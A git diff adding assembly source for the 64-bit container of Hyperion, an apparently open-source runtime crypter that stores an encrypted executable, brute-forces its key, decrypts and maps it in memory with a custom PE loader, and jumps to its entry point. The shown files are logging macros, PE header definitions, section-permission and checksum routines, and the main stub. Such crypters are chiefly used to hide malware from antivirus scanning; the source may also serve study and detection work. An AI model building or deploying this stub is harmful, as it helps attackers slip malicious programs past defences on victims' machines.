cmp ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + jne ssn_no_execute_read_write + mov rax,PAGE_EXECUTE_READWRITE + mov [section_flags],rax + jmp ssn_set_memory +ssn_no_execute_read_write: + ;section execute/read? + mov ebx,[rdx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ + cmp ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ + jne ssn_no_execute_read + mov rax,PAGE_EXECUTE_READ + mov [section_flags],rax + jmp ssn_set_memory +ssn_no_execute_read: + ;section read/write? + mov ebx,[rdx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + cmp ebx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + jne ssn_no_read_write + mov rax,PAGE_READWRITE + mov [section_flags],rax + jmp ssn_set_memory +ssn_no_read_write: + ;section read? + mov ebx,[rdx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_READ + cmp ebx,IMAGE_SCN_MEM_READ + jne ssn_no_read + mov rax,PAGE_READONLY + mov [section_flags],rax + jmp ssn_set_memory +ssn_no_read: + mov rax,PAGE_NOACCESS + mov [section_flags],rax + + ;set section permissions +ssn_set_memory: + mov eax,[rdx+IMAGE_SECTION_HEADER.VirtualAddress] + add rax,[image_base] + mov ebx,[rdx+IMAGE_SECTION_HEADER.VirtualSize] + lea r12,[vprotect_ret] + invoke VirtualProtect,rax,rbx,[section_flags], r12 + test rax,rax + jz ssn_exit_error + + ;some output for the user + mov rdx,[section_header] + mov eax,[rdx+IMAGE_SECTION_HEADER.VirtualAddress] + add rax,[image_base] + writeRegisterToLog rax, ssn_exit_error + +ssn_exit_success: + mov rax,1 + jmp ssn_exit_ret + +ssn_exit_error: + sub rax,rax + +ssn_exit_ret: + ret + +endp; + +;check MZ und PE signature and return start of the image file header +proc verifyPE, image_base:QWORD + + mov [image_base], rcx + + mov rcx,[image_base] + mov ax,[rcx+IMAGE_DOS_HEADER.e_magic] + cmp ax,IMAGE_DOS_SIGNATURE + jne vpe_exit_error + mov eax,[rcx+IMAGE_DOS_HEADER.e_lfanew] + add rcx,rax + mov eax,dword [rcx] + cmp eax,IMAGE_NT_SIGNATURE + jne vpe_exit_error + add rcx,4 + +vpe_exit_success: + mov rax,rcx + ret + +vpe_exit_error: + sub rax,rax + ret + +endp + +;First 4 bytes of data seciton contain a checksum +;Verify that the checksum is correct +;TODO: CHECKSUM SIZE is atm hardcoded +proc verifyChecksum uses rbx rdi, section_address:QWORD, section_size:QWORD + + mov [section_address],rcx + mov [section_size],rdx + + mov rbx,[section_address] + mov eax,[rbx] + add rbx,4 + mov rcx,[section_size] + sub rcx,4 + ;checksum is in eax + ;pointer to file in ebx + ;size of file in ecx + sub rdi,rdi +vs_calc_cs: + sub rdx,rdx + mov dl,byte [rbx] + add edi,edx + inc rbx + dec rcx + jnz vs_calc_cs + ;calculated checksum is in edi + cmp edi,eax + jne vs_exit_error + +vs_exit_success: + mov eax,1 + jmp vs_exit_ret + +vs_exit_error: + sub eax,eax + +vs_exit_ret: + ret + +endp diff --git a/binary/hyperion/source/Src/Container/64/logfile_disable.asm b/binary/hyperion/source/Src/Container/64/logfile_disable.asm new file mode 100644 index 0000000..bad6210 --- /dev/null +++ b/binary/hyperion/source/Src/Container/64/logfile_disable.asm @@ -0,0 +1,114 @@ +macro createStringBruteforcing location +{ + +} + +macro createStringSettingPermissions location +{ + +} + +macro createStringOrdinal location +{ + +} + +macro createStringName location +{ + +} + +macro createStringProcessImportDirectory location +{ + +} + +macro createStringFoundImportTable location +{ + +} + +macro createStringLoadingFilesAPIs location +{ + +} + +macro createStringMappingFileInMemory location +{ + +} + +macro createStringLoaded location +{ + +} + +macro createStringLoadedPEHeader location +{ + +} + +macro createStringVerifyPE location +{ + +} + +macro createStringVerifyChecksum location +{ + +} + +macro createStringDone location +{ + +} + +macro createStringError location +{ + +} + +macro createStringStartingHyperion location +{ + +} + +macro createStringStartingHyperionLines location +{ + +} + +macro createStringLogTxt location +{ + +} + +;writes a string and a newline to the logfile +macro writeWithNewLine char_sequence, char_buffer, error_exit{ + char_sequence char_buffer + +} + +;write a string to the logfile +macro writeLog content, exit_error{ + +} + +;delete old log file and create a new one +macro initLogFile exit_error{ + +} + +;write a newline into logfile +macro writeNewLineToLog exit_error{ + +} + +;write a register value into logile +macro writeRegisterToLog value, exit_error{ + +} + +macro writeSectionNameAndAddressToLog{ + +} \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/64/logfile_enable.asm b/binary/hyperion/source/Src/Container/64/logfile_enable.asm new file mode 100644 index 0000000..28de8f1 --- /dev/null +++ b/binary/hyperion/source/Src/Container/64/logfile_enable.asm @@ -0,0 +1,605 @@ +;------------------------------------------- +;the content of this file is excluded, | +;when the user disables logging features | +;in hyperion command line. pls keep in mind | +;and dont rely on its existence. | +;------------------------------------------- + +;--- Begin Macro Section --- + +macro createStringBruteforcing location +{ + mov [location+0],'B' + mov [location+1],'r' + mov [location+2],'u' + mov [location+3],'t' + mov [location+4],'e' + mov [location+5],'f' + mov [location+6],'o' + mov [location+7],'r' + mov [location+8],'c' + mov [location+9],'i' + mov [location+10],'n' + mov [location+11],'g' + mov [location+12],' ' + mov [location+13],'K' + mov [location+14],'e' + mov [location+15],'y' + mov [location+16],0 + lea rax,[location] +} + +macro createStringSettingPermissions location +{ + mov [location+0],'S' + mov [location+1],'e' + mov [location+2],'t' + mov [location+3],'t' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'S' + mov [location+9],'e' + mov [location+10],'c' + mov [location+11],'t' + mov [location+12],'i' + mov [location+13],'o' + mov [location+14],'n' + mov [location+15],' ' + mov [location+16],'P' + mov [location+17],'e' + mov [location+18],'r' + mov [location+19],'m' + mov [location+20],'i' + mov [location+21],'s' + mov [location+22],'s' + mov [location+23],'i' + mov [location+24],'o' + mov [location+25],'n' + mov [location+26],'s' + mov [location+27],0 + lea rax,[location] +} + +macro createStringOrdinal location +{ + mov [location+0],'O' + mov [location+1],'r' + mov [location+2],'d' + mov [location+3],'i' + mov [location+4],'n' + mov [location+5],'a' + mov [location+6],'l' + mov [location+7],':' + mov [location+8],' ' + mov [location+9],0 + lea rax,[location] +} + +macro createStringName location +{ + mov [location+0],'N' + mov [location+1],'a' + mov [location+2],'m' + mov [location+3],'e' + mov [location+4],':' + mov [location+5],' ' + mov [location+6],0 + lea rax,[location] +} + +macro createStringProcessImportDirectory location +{ + mov [location+0],'P' + mov [location+1],'r' + mov [location+2],'o' + mov [location+3],'c' + mov [location+4],'e' + mov [location+5],'s' + mov [location+6],'s' + mov [location+7],'i' + mov [location+8],'n' + mov [location+9],'g' + mov [location+10],' ' + mov [location+11],'I' + mov [location+12],'m' + mov [location+13],'p' + mov [location+14],'o' + mov [location+15],'r' + mov [location+16],'t' + mov [location+17],' ' + mov [location+18],'D' + mov [location+19],'i' + mov [location+20],'r' + mov [location+21],'e' + mov [location+22],'c' + mov [location+23],'t' + mov [location+24],'o' + mov [location+25],'r' + mov [location+26],'y' + mov [location+27],':' + mov [location+28],0 + lea rax,[location] +} + +macro createStringFoundImportTable location +{ + mov [location+0],'I' + mov [location+1],'m' + mov [location+2],'p' + mov [location+3],'o' + mov [location+4],'r' + mov [location+5],'t' + mov [location+6],' ' + mov [location+7],'T' + mov [location+8],'a' + mov [location+9],'b' + mov [location+10],'l' + mov [location+11],'e' + mov [location+12],':' + mov [location+13],0 + lea rax,[location] +} + +macro createStringLoadingFilesAPIs location +{ + mov [location+0],'L' + mov [location+1],'o' + mov [location+2],'a' + mov [location+3],'d' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'A' + mov [location+9],'P' + mov [location+10],'I' + mov [location+11],'s' + mov [location+12],0 + lea rax,[location] +} + +macro createStringMappingFileInMemory location +{ + mov [location+0],'M' + mov [location+1],'a' + mov [location+2],'p' + mov [location+3],'p' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'F' + mov [location+9],'i' + mov [location+10],'l' + mov [location+11],'e' + mov [location+12],' ' + mov [location+13],'i' + mov [location+14],'n' + mov [location+15],'t' + mov [location+16],'o' + mov [location+17],' ' + mov [location+18],'M' + mov [location+19],'e' + mov [location+20],'m' + mov [location+21],'o' + mov [location+22],'r' + mov [location+23],'y' + mov [location+24],0 + lea rax,[location] +} + +macro createStringLoaded location +{ + mov [location+0],'L' + mov [location+1],'o' + mov [location+2],'a' + mov [location+3],'d' + mov [location+4],'e' + mov [location+5],'d' + mov [location+6],' ' + mov [location+7],0 + lea rax,[location] +} + +macro createStringLoadedPEHeader location +{ + mov [location+0],'S' + mov [location+1],'e' + mov [location+2],'t' + mov [location+3],' ' + mov [location+4],'I' + mov [location+5],'m' + mov [location+6],'a' + mov [location+7],'g' + mov [location+8],'e' + mov [location+9],' ' + mov [location+10],'w' + mov [location+11],'r' + mov [location+12],'i' + mov [location+13],'t' + mov [location+14],'a' + mov [location+15],'b' + mov [location+16],'l' + mov [location+17],'e' + mov [location+18],':' + mov [location+19],0 + lea rax,[location] +} + +macro createStringVerifyPE location +{ + mov [location+0],'V' + mov [location+1],'e' + mov [location+2],'r' + mov [location+3],'i' + mov [location+4],'f' + mov [location+5],'y' + mov [location+6],'i' + mov [location+7],'n' + mov [location+8],'g' + mov [location+9],' ' + mov [location+10],'P' + mov [location+11],'E' + mov [location+12],0 + lea rax,[location] +} + +macro createStringVerifyChecksum location +{ + mov [location+0],'V' + mov [location+1],'e' + mov [location+2],'r' + mov [location+3],'i' + mov [location+4],'f' + mov [location+5],'y' + mov [location+6],'i' + mov [location+7],'n' + mov [location+8],'g' + mov [location+9],' ' + mov [location+10],'C' + mov [location+11],'h' + mov [location+12],'e' + mov [location+13],'c' + mov [location+14],'k' + mov [location+15],'s' + mov [location+16],'u' + mov [location+17],'m' + mov [location+18],0 + lea rax,[location] +} + +macro createStringDone location +{ + mov [location+0],'D' + mov [location+1],'o' + mov [location+2],'n' + mov [location+3],'e' + mov [location+4],0 + lea rax,[location] +} + +macro createStringError location +{ + mov [location+0],'E' + mov [location+1],'r' + mov [location+2],'r' + mov [location+3],'o' + mov [location+4],'r' + mov [location+5],0 + lea rax,[location] +} + +macro createStringStartingHyperion location +{ + mov [location+00],'H' + mov [location+01],'y' + mov [location+02],'p' + mov [location+03],'e' + mov [location+04],'r' + mov [location+05],'i' + mov [location+06],'o' + mov [location+07],'n' + mov [location+08],' ' + mov [location+09],'L' + mov [location+10],'o' + mov [location+11],'g' + mov [location+12],'f' + mov [location+13],'i' + mov [location+14],'l' + mov [location+15],'e' + mov [location+16],13 + mov [location+17],10 + mov [location+18],0 + lea rax,[location] +} + +macro createStringStartingHyperionLines location +{ + mov [location+00],'-' + mov [location+01],'-' + mov [location+02],'-' + mov [location+03],'-' + mov [location+04],'-' + mov [location+05],'-' + mov [location+06],'-' + mov [location+07],'-' + mov [location+08],'-' + mov [location+09],'-' + mov [location+10],'-' + mov [location+11],'-' + mov [location+12],'-' + mov [location+13],'-' + mov [location+14],'-' + mov [location+15],'-' + mov [location+16],13 + mov [location+17],10 + mov [location+18],0 + lea rax,[location] +} + +macro createStringLogTxt location +{ + mov [location+0],'l' + mov [location+1],'o' + mov [location+2],'g' + mov [location+3],'.' + mov [location+4],'t' + mov [location+5],'x' + mov [location+6],'t' + mov [location+7],0 + lea rax,[location] +} + +;writes a string and a newline to the logfile +macro writeWithNewLine char_sequence, char_buffer, error_exit{ + char_sequence char_buffer + lea rax,[str1] + fastcall writeLog_, rax + test rax,rax + jz error_exit + fastcall writeNewLineToLog_ + test rax,rax + jz error_exit +} + +;write a string to the logfile +macro writeLog content, error_exit{ + fastcall writeLog_, content + test rax,rax + jz error_exit +} + +;delete old log file and create a new one +macro initLogFile error_exit{ + fastcall initLogFile_, error_exit + test rax,rax + jz error_exit +} + +;write a newline into logfile +macro writeNewLineToLog error_exit{ + fastcall writeNewLineToLog_ + test rax,rax + jz error_exit +} + +;write a register value into logile +macro writeRegisterToLog value, error_exit{ + fastcall writeRegisterToLog_, value + test rax,rax + jz error_exit +} + +;TODO: Does not really fit into architecture +macro writeSectionNameAndAddressToLog{ + lea rdi,[str1] + mov byte [rdi+8],0 + mov rdx,[section_header] + lea rsi,[rdx+IMAGE_SECTION_HEADER._Name] + mov rcx,8 + mov r12, rdi + rep movsb + mov rdi, r12 + writeLog rdi, ls_exit_error + writeNewLineToLog ls_exit_error + mov rdx,[section_header] + mov eax,[rdx+IMAGE_SECTION_HEADER.VirtualAddress] + add rax,[image_base] + writeRegisterToLog rax, ls_exit_error +} + +;--- End Macro Section --- + +;get the length of a string +proc strlen_ uses rdi rcx, string_ptr:QWORD + + mov [string_ptr],rcx + + mov rdi,[string_ptr] + sub rcx, rcx + sub al, al + not rcx + cld + repne scasb + not rcx + dec rcx + mov rax,rcx + + ret + +endp + +;write into log.txt +;returns false if an eerror occurs +proc writeLog_ content:QWORD + +local str1[256]:BYTE, oldlogsize:QWORD, newlogsize:QWORD, contentsize:QWORD,\ + filehandle:QWORD, filemappingobject:QWORD, mapaddress:QWORD, retval:QWORD + + mov [content],rcx + + ;open file + createStringLogTxt str1 + sub r11,r11 + invoke CreateFile, rax, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, r11, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, r11 + mov [retval],rax + test rax,rax + jz wl_logexit + mov [filehandle],rax + + ;get logfile size + invoke GetFileSize, qword [filehandle], 0 + mov [oldlogsize],rax + + ;get size of string for logfile for concatenation + fastcall strlen_, qword [content] + mov [contentsize], rax + add rax,qword [oldlogsize] + mov [newlogsize], rax + + ;create the file mapping + sub r10,r10 + invoke CreateFileMapping, qword [filehandle], r10, PAGE_READWRITE, r10, rax, r10 + mov [retval],rax + test rax, rax + jz wl_closelogfile + mov [filemappingobject],rax + + sub r10,r10 + invoke MapViewOfFile, rax, FILE_MAP_ALL_ACCESS, r10, r10, qword [newlogsize] + mov [retval],rax + test rax, rax + jz wl_closemaphandle + mov [mapaddress],rax + + ;copy string into map + add rax,[oldlogsize] + mov rdi,rax + mov rsi,[content] + mov rcx,[contentsize] + repz movsb + mov [retval],1 + +wl_unmapfile: + invoke UnmapViewOfFile, qword [mapaddress] + +wl_closemaphandle: + invoke CloseHandle, qword [filemappingobject] + +wl_closelogfile: + invoke CloseHandle, qword [filehandle] + +wl_logexit: + mov rax,[retval] + ret; + +endp + +;adds a to the logfile +;returns false if an error occurs +proc writeNewLineToLog_ + +local str1[3]:BYTE + + lea rax,[str1] + mov byte [rax+0],13 + mov byte [rax+1],10 + mov byte [rax+2],0 + fastcall writeLog_, rax + ret + +endp + +;returns false if an error occurs +proc writeRegisterToLog_ Value:QWORD + +local str1[18]:BYTE, retval:QWORD + mov [Value],rcx + + lea rax,[str1] + fastcall binToString_, rax, [Value] + fastcall writeLog_, rax + mov [retval],rax + test rax,rax + jz wrtl_exit + fastcall writeNewLineToLog_ + mov [retval],rax + test rax,rax + jz wrtl_exit + +wrtl_exit: + mov rax,[retval] + ret + +endp + +;converts into an 8 byte string and stores it +proc binToString_ buffer:QWORD, bin:QWORD + mov [buffer],rcx + mov [bin], rdx + + mov r10,[bin] + mov rcx,16 +bts_next_byte: + mov rax,r10 + and rax,0000000fh + cmp rax,9 + jg bts_add_55 +bts_add_48: + add rax,48 + jmp bts_store_bin +bts_add_55: + add rax,55 +bts_store_bin: + dec rcx + mov rdx,[buffer] + mov byte [rcx+rdx],al + test rcx,rcx + jz bts_finished_conversion + shr r10,4 + jmp bts_next_byte + +bts_finished_conversion: + mov rax,[buffer] + mov byte [rax+16],0 + ret +endp + +;Write initial message into logfile +proc initLogFile_ + +local str1[256]:BYTE + + createStringLogTxt str1 + invoke DeleteFile, rax + + createStringStartingHyperionLines str1 + fastcall writeLog_, rax + test rax,rax + jz ilf_exit_error + + createStringStartingHyperion str1 + fastcall writeLog_, rax + test rax,rax + jz ilf_exit_error + + createStringStartingHyperionLines str1 + fastcall writeLog_, rax + test rax,rax + jz ilf_exit_error + + fastcall writeNewLineToLog_ + test rax,rax + jz ilf_exit_error + +ilf_exit_success: + mov rax,1 + ret + +ilf_exit_error: + sub rax,rax + ret + +endp \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/64/main.asm b/binary/hyperion/source/Src/Container/64/main.asm new file mode 100644 index 0000000..1d0da63 --- /dev/null +++ b/binary/hyperion/source/Src/Container/64/main.asm @@ -0,0 +1,125 @@ +; Hyperion 64-Bit container.exe + +include 'image_base.inc' +include 'main_prolog.inc' ;format PE64 ... +entry start + +include '..\..\..\Fasm\INCLUDE\win64a.inc' +include 'pe.inc' +;automatically generated by hyperion cpp stub +include 'key_size.inc' +include 'infile_size.inc' +include 'image_size.inc' +;--- + +SIZE_DATA_SECTION_NAME equ 5 +SIZE_CHECKSUM equ 4 + +;this contains the decrypted and loaded executable +section '.bss' data readable writeable + + decrypted_infile: db IMAGE_SIZE dup (?) + +;-------------------------------------------------- + +;this contains the encrypted exe +section '.data' data readable writeable + + encrypted_infile: include 'infile_array.inc' + +;-------------------------------------------------- + +section '.text' code readable executable + + +;automatically generated by hyperion cpp stub +include 'logfile_select.asm' +include 'decryption_payload.asm' +;pe loader functions +include 'loadexecutable.asm' + +;--- + +start: + sub rsp,8 + fastcall MainMethod + test rax,rax + jz the_end_my_friend + ;file was loaded, execute it + add rsp,8 + jmp rax +the_end_my_friend: + invoke ExitProcess,0 + +proc MainMethod uses rbx + local str1[256]:BYTE + + ;create logfile and write initial message into it + initLogFile main_exit + + ;decrypt exe in data section + fastcall decryptExecutable, encrypted_infile + test rax,rax + jz main_exiterror + + ;load the executable at its image base + ;(this will overwrite current MZ header and bss section) + fastcall loadExecutable, encrypted_infile + test rax,rax + jz main_exiterror + + ;start program execution + mov rdx,IMAGE_BASE + xor rax,rax + mov eax,[rdx+IMAGE_DOS_HEADER.e_lfanew] + add rax,rdx + add rax,4 + ;image file header now in eax + add rax,sizeof.IMAGE_FILE_HEADER + xor rdx,rdx + mov edx,[rax+IMAGE_OPTIONAL_HEADER64.AddressOfEntryPoint] + mov rax,IMAGE_BASE + add rdx,rax + ;entry point of original exe is now in rbx + mov rbx,rdx + +;finished without errors +main_exitsuccess: + writeNewLineToLog main_exit + createStringDone str1 + writeLog rax, main_exit + mov rax,rbx + jmp main_exit + +;finished with errors after logfile API loading +main_exiterror: + writeNewLineToLog main_exit + createStringError str1 + writeLog rax, main_exit + sub rax,rax + +main_exit: + ret + +endp + +;import table +section '.idata' import data readable writeable + + library kernel,'KERNEL32.DLL' + + import kernel,\ + LoadLibrary,'LoadLibraryA',\ + GetProcAddress,'GetProcAddress',\ + GetFileSize,'GetFileSize',\ + CreateFileMapping,'CreateFileMappingA',\ + MapViewOfFile,'MapViewOfFile',\ + UnmapViewOfFile,'UnmapViewOfFile',\ + CreateFile,'CreateFileA',\ + CloseHandle,'CloseHandle',\ + DeleteFile,'DeleteFileA',\ + GetModuleHandle,'GetModuleHandle',\ + VirtualAlloc,'VirtualAlloc',\ + VirtualProtect,'VirtualProtect',\ + VirtualFree,'VirtualFree',\ + ExitProcess,'ExitProcess' diff --git a/binary/hyperion/source/Src/Container/64/pe.inc b/binary/hyperion/source/Src/Container/64/pe.inc new file mode 100644 index 0000000..433cde6 --- /dev/null +++ b/binary/hyperion/source/Src/Container/64/pe.inc @@ -0,0 +1,253 @@ +IMAGE_DOS_SIGNATURE = 05A4Dh +IMAGE_OS2_SIGNATURE = 0454Eh +IMAGE_OS2_SIGNATURE_LE = 0454Ch +IMAGE_VXD_SIGNATURE = 0454Ch +IMAGE_LX_SIGNATURE = 0584Ch +IMAGE_NT_SIGNATURE = 04550h + +IMAGE_FILE_MACHINE_UNKNOWN = 0 +IMAGE_FILE_MACHINE_I386 = 014ch +IMAGE_FILE_MACHINE_R3000 = 0162h +IMAGE_FILE_MACHINE_R4000 = 0166h +IMAGE_FILE_MACHINE_R10000 = 0168h +IMAGE_FILE_MACHINE_WCEMIPSV2 = 0169h +IMAGE_FILE_MACHINE_ALPHA = 0184h +IMAGE_FILE_MACHINE_SH3 = 01a2h +IMAGE_FILE_MACHINE_SH3DSP = 01a3h +IMAGE_FILE_MACHINE_SH3E = 01a4h +IMAGE_FILE_MACHINE_SH4 = 01a6h +IMAGE_FILE_MACHINE_SH5 = 01a8h +IMAGE_FILE_MACHINE_ARM = 01c0h +IMAGE_FILE_MACHINE_THUMB = 01c2h +IMAGE_FILE_MACHINE_AM33 = 01d3h +IMAGE_FILE_MACHINE_POWERPC = 01F0h +IMAGE_FILE_MACHINE_POWERPCFP = 01f1h +IMAGE_FILE_MACHINE_IA64 = 0200h +IMAGE_FILE_MACHINE_MIPS16 = 0266h +IMAGE_FILE_MACHINE_ALPHA64 = 0284h +IMAGE_FILE_MACHINE_MIPSFPU = 0366h +IMAGE_FILE_MACHINE_MIPSFPU16 = 0466h +IMAGE_FILE_MACHINE_AXP64 = IMAGE_FILE_MACHINE_ALPHA64 +IMAGE_FILE_MACHINE_TRICORE = 0520h +IMAGE_FILE_MACHINE_CEF = 0CEFh +IMAGE_FILE_MACHINE_EBC = 0EBCh +IMAGE_FILE_MACHINE_AMD64 = 8664h +IMAGE_FILE_MACHINE_M32R = 9041h +IMAGE_FILE_MACHINE_CEE = 0C0EEh + +IMAGE_SIZEOF_NT_OPTIONAL32_HEADER = 224 +IMAGE_NT_OPTIONAL_HDR32_MAGIC = 10bh + +IMAGE_FILE_RELOCS_STRIPPED = 0001h +IMAGE_FILE_EXECUTABLE_IMAGE = 0002h +IMAGE_FILE_LINE_NUMS_STRIPPED = 0004h +IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0008h +IMAGE_FILE_AGGRESIVE_WS_TRIM = 0010h +IMAGE_FILE_LARGE_ADDRESS_AWARE = 0020h +IMAGE_FILE_BYTES_REVERSED_LO = 0080h +IMAGE_FILE_32BIT_MACHINE = 0100h +IMAGE_FILE_DEBUG_STRIPPED = 0200h +IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0400h +IMAGE_FILE_NET_RUN_FROM_SWAP = 0800h +IMAGE_FILE_SYSTEM = 1000h +IMAGE_FILE_DLL = 2000h +IMAGE_FILE_UP_SYSTEM_ONLY = 4000h +IMAGE_FILE_BYTES_REVERSED_HI = 8000h + +IMAGE_SUBSYSTEM_UNKNOWN = 0 +IMAGE_SUBSYSTEM_NATIVE = 1 +IMAGE_SUBSYSTEM_WINDOWS_GUI = 2 +IMAGE_SUBSYSTEM_WINDOWS_CUI = 3 +IMAGE_SUBSYSTEM_OS2_CUI = 5 +IMAGE_SUBSYSTEM_POSIX_CUI = 7 +IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8 +IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9 +IMAGE_SUBSYSTEM_EFI_APPLICATION = 10 +IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11 +IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12 +IMAGE_SUBSYSTEM_EFI_ROM = 13 +IMAGE_SUBSYSTEM_XBOX = 14 +IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16 + +IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0040h +IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY = 0080h +IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0100h +IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0200h +IMAGE_DLLCHARACTERISTICS_NO_SEH = 0400h +IMAGE_DLLCHARACTERISTICS_NO_BIND = 0800h +IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 2000h +IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 8000h + +IMAGE_DIRECTORY_ENTRY_EXPORT = 0 +IMAGE_DIRECTORY_ENTRY_IMPORT = 1 +IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 +IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 +IMAGE_DIRECTORY_ENTRY_SECURITY = 4 +IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 +IMAGE_DIRECTORY_ENTRY_DEBUG = 6 +IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7 +IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 +IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 +IMAGE_DIRECTORY_ENTRY_TLS = 9 +IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 +IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 +IMAGE_DIRECTORY_ENTRY_IAT = 12 +IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 +IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + +IMAGE_SIZEOF_SECTION_HEADER = 40 + +IMAGE_SCN_TYPE_NO_PAD = 00000008h +IMAGE_SCN_CNT_CODE = 00000020h +IMAGE_SCN_CNT_INITIALIZED_DATA = 00000040h +IMAGE_SCN_CNT_UNINITIALIZED_DATA = 00000080h +IMAGE_SCN_LNK_OTHER = 00000100h +IMAGE_SCN_LNK_INFO = 00000200h +IMAGE_SCN_LNK_REMOVE = 00000800h +IMAGE_SCN_LNK_COMDAT = 00001000h +IMAGE_SCN_NO_DEFER_SPEC_EXC = 00004000h +IMAGE_SCN_GPREL = 00008000h +IMAGE_SCN_MEM_FARDATA = 00008000h +IMAGE_SCN_MEM_PURGEABLE = 00020000h +IMAGE_SCN_MEM_16BIT = 00020000h +IMAGE_SCN_MEM_LOCKED = 00040000h +IMAGE_SCN_MEM_PRELOAD = 00080000h +IMAGE_SCN_ALIGN_1BYTES = 00100000h +IMAGE_SCN_ALIGN_2BYTES = 00200000h +IMAGE_SCN_ALIGN_4BYTES = 00300000h +IMAGE_SCN_ALIGN_8BYTES = 00400000h +IMAGE_SCN_ALIGN_16BYTES = 00500000h +IMAGE_SCN_ALIGN_32BYTES = 00600000h +IMAGE_SCN_ALIGN_64BYTES = 00700000h +IMAGE_SCN_ALIGN_128BYTES = 00800000h +IMAGE_SCN_ALIGN_256BYTES = 00900000h +IMAGE_SCN_ALIGN_512BYTES = 00A00000h +IMAGE_SCN_ALIGN_1024BYTES = 00B00000h +IMAGE_SCN_ALIGN_2048BYTES = 00C00000h +IMAGE_SCN_ALIGN_4096BYTES = 00D00000h +IMAGE_SCN_ALIGN_8192BYTES = 00E00000h +IMAGE_SCN_LNK_NRELOC_OVFL = 01000000h +IMAGE_SCN_MEM_DISCARDABLE = 02000000h +IMAGE_SCN_MEM_NOT_CACHED = 04000000h +IMAGE_SCN_MEM_NOT_PAGED = 08000000h +IMAGE_SCN_MEM_SHARED = 10000000h +IMAGE_SCN_MEM_EXECUTE = 20000000h +IMAGE_SCN_MEM_READ = 40000000h +IMAGE_SCN_MEM_WRITE = 80000000h +IMAGE_SCN_SCALE_INDEX = 00000001h + +struct IMAGE_DOS_HEADER + e_magic dw ? + e_cblp dw ? + e_cp dw ? + e_crlc dw ? + e_cparhdr dw ? + e_minalloc dw ? + e_maxalloc dw ? + e_ss dw ? + e_sp dw ? + e_csum dw ? + e_ip dw ? + e_cs dw ? + e_lfarlc dw ? + e_ovno dw ? + e_res rw 4 + e_oemid dw ? + e_oeminfo dw ? + e_res2 rw 10 + e_lfanew dd ? +ends + +struct IMAGE_FILE_HEADER + Machine dw ? + NumberOfSections dw ? + TimeDateStamp dd ? + PointerToSymbolTable dd ? + NumberOfSymbols dd ? + SizeOfOptionalHeader dw ? + Characteristics dw ? +ends + +struct IMAGE_DATA_DIRECTORY + VirtualAddress dd ? + isize dd ? +ends + +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 + +struct IMAGE_OPTIONAL_HEADER64 + Magic dw ? + MajorLinkerVersion db ? + MinorLinkerVersion db ? + SizeOfCode dd ? + SizeOfInitializedData dd ? + SizeOfUninitializedData dd ? + AddressOfEntryPoint dd ? + BaseOfCode dd ? + + ImageBase dq ? + SectionAlignment dd ? + FileAlignment dd ? + MajorOperatingSystemVersion dw ? + MinorOperatingSystemVersion dw ? + MajorImageVersion dw ? + MinorImageVersion dw ? + MajorSubsystemVersion dw ? + MinorSubsystemVersion dw ? + Win32VersionValue dd ? + SizeOfImage dd ? + SizeOfHeaders dd ? + CheckSum dd ? + Subsystem dw ? + DllCharacteristics dw ? + SizeOfStackReserve dq ? + SizeOfStackCommit dq ? + SizeOfHeapReserve dq ? + SizeOfHeapCommit dq ? + LoaderFlags dd ? + NumberOfRvaAndSizes dd ? + + DataDirectory rb (sizeof.IMAGE_DATA_DIRECTORY*IMAGE_NUMBEROF_DIRECTORY_ENTRIES) +ends + +struct IMAGE_NT_HEADERS64 + Signature dd ? + FileHeader IMAGE_FILE_HEADER ? + OptionalHeader IMAGE_OPTIONAL_HEADER64 ? +ends + +IMAGE_SIZEOF_SHORT_NAME = 8 + +struct IMAGE_SECTION_HEADER + _Name db IMAGE_SIZEOF_SHORT_NAME dup (?) + union + PhysicalAddress dd ? + VirtualSize dd ? + ends + VirtualAddress dd ? + SizeOfRawData dd ? + PointerToRawData dd ? + PointerToRelocations dd ? + PointerToLinenumbers dd ? + NumberOfRelocations dw ? + NumberOfLinenumbers dw ? + Characteristics dd ? +ends + +struct IMAGE_IMPORT_DESCRIPTOR + union + Characteristics dd ? + OriginalFirstThunk dd ? + ends + TimeDateStamp dd ? + 